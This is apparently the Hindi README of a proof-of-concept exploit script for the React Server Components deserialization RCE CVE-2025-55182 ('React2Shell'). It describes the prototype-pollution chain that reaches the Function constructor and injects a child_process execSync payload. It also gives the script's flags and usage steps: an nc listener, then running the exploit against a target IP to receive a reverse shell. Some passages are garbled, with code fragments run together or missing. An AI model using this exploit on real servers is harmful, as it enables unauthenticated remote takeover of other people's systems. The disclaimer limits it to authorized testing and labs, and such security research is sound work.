
CVE-2025-55182/66478 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो React Server Components डिसीरियलाइज़ेशन RCE है, जो क्राफ्टेड मल्टीपार्ट अनुरोध के माध्यम से रिवर्स शेल प्रदान करता है।
CVE-2025-55182 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट — जिसे सार्वजनिक रूप से
"React2Shell" नाम दिया गया है — यह React सर्वर कंपोनेंट्स के सर्वर एक्शन
डिसीरियलाइज़ेशन (react-server-dom-webpack / -parcel / -turbopack) में
सर्वर-साइड प्रोटोटाइप पोल्यूशन कमज़ोरियाँ है, जिसे Next.js ने
आईडी CVE-2025-66478 के तहत ट्रैक किया (NVD द्वारा डुप्लिकेट के रूप में
अस्वीकृत, लेकिन Next.js पर इस बग के प्रभाव पर चर्चा करते समय आमतौर पर
इस्तेमाल किया जाने वाला पहचानकर्ता अभी भी यही है)।
एक एकल क्राफ्टेड मल्टीपार्ट HTTP अनुरोध Object.prototype को पोल्यूट करता है और
Function कंस्ट्रक्टर तक पहुँचने के लिए प्रोटोटाइप चेन को ट्रैवर्स करता है, जिससे
एक अनप्रमाणित हमलावर सर्वर प्रोसेस में मनमाना Node.js कोड चला सकता है —
CVSS 10/10।
मूल कारण। RSC एक्शन-रिप्लाई डिसीरियलाइज़र (requireModule)
क्लाइंट द्वारा भेजे गए ऑब्जेक्ट पथों (जैसे ) को
यह सत्यापित किए बिना हल करता है कि लक्ष्य कुंजी जैसी
आरक्षित/खतरनाक कुंजी नहीं है। एक सादे ऑब्जेक्ट पर सेट करने से
स्वयं पोल्यूट हो जाता है, इसलिए उसके बाद बनाई गई हर ऑब्जेक्ट
हमलावर-नियंत्रित प्रॉपर्टी इनहेरिट करती है।
"$1:__proto__:then"__proto____proto__Object.prototypeएक्सप्लॉइटेशन चेन।
then → "$1:__proto__:then" — प्रोटोटाइप चेन में पहुँचें।_response._formData.get → "$1:constructor:constructor" — पोल्यूटेड
प्रोटोटाइप से Function कंस्ट्रक्टर तक चलें।_response._prefix — हमलावर-नियंत्रित स्ट्रिंग, जो उस कोड में जोड़ी जाती है
जो सर्वर द्वारा नकली "थेनबल" (एक फर्जी Promise-जैसा ऑब्जेक्ट) को हल करने का
प्रयास करते समय निष्पादित होती है। यह PoC इसे
process.mainModule.require('child_process').execSync('<cmd>') पर सेट करता है।Next-Action हेडर के साथ POST में दो मल्टीपार्ट
फ़ील्ड (0, 1) के रूप में सबमिट किया जाता है, जो अनुरोध को सीधे
कमज़ोर सर्वर एक्शन हैंडलर में रूट करता है।प्रभावित संस्करण (Datadog राइट-अप के अनुसार):
| लाइब्रेरी | कमज़ोर | पैच किया गया |
|---|---|---|
react-server-dom-parcel | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
react-server-dom-webpack | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
react-server-dom-turbopack | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
Next.js ऐप राउटर का उपयोग करते समय 15.x, 16.x, और 14.3.0-canary.77+ पर प्रभावित है। 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, और 16.0.7 में पैच किया गया।
केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उपयोग के लिए (जैसे CTF/HTB लैब, आपका अपना इंफ्रास्ट्रक्चर, या लिखित प्राधिकरण वाले एंगेजमेंट)। इसे उन सिस्टमों के खिलाफ न चलाएँ जिनके मालिक आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है।
curlbashnc -lvnp <port>) जब तक कि आप
-c के माध्यम से अपना स्वयं का कमांड प्रदान न करेंbusybox nc चलना चाहिए
(या टारगेट पर उपलब्ध किसी भी शेल यूटिलिटी के अनुसार -c समायोजित करें)chmod +x exploit.sh
./exploit.sh -t <target> -L <lport> [options]
| फ़्लैग | आवश्यक | विवरण |
|---|---|---|
-t, --target | हाँ | कमज़ोर Next.js ऐप चलाने वाला टारगेट होस्ट/IP |
-L, --lport | हाँ* | वह लोकल पोर्ट जिससे आपका लिसनर बंधा है |
-p, --port | नहीं | टारगेट पोर्ट (डिफ़ॉल्ट: 3000) |
-l, --lhost | नहीं | कॉलबैक के लिए आपका IP (डिफ़ॉल्ट: ऑटो-डिटेक्टेड) |
-i, --iface | नहीं | --lhost ऑटो-डिटेक्ट करने के लिए इंटरफ़ेस |
-c, --command | नहीं | टारगेट पर चलाने के लिए कस्टम कमांड (डिफ़ॉल्ट रिवर्स शेल को ओवरराइड करता है) |
--timeout | नहीं | curl अनुरोध टाइमआउट सेकंड में (डिफ़ॉल्ट: 3) |
-v, --verbose | नहीं | अनुरोध/प्रतिक्रिया विवरण प्रिंट करें |
-h, --help | नहीं | सहायता दिखाएँ |
* यदि इसके बजाय -c/--command प्रदान किया गया है तो आवश्यक नहीं है।
# 1) एक लिसनर शुरू करें
rlwrap nc -lvnp 9090
# 2) एक्सप्लॉइट ट्रिगर करें
./exploit.sh -t 10.129.245.214 -L 9090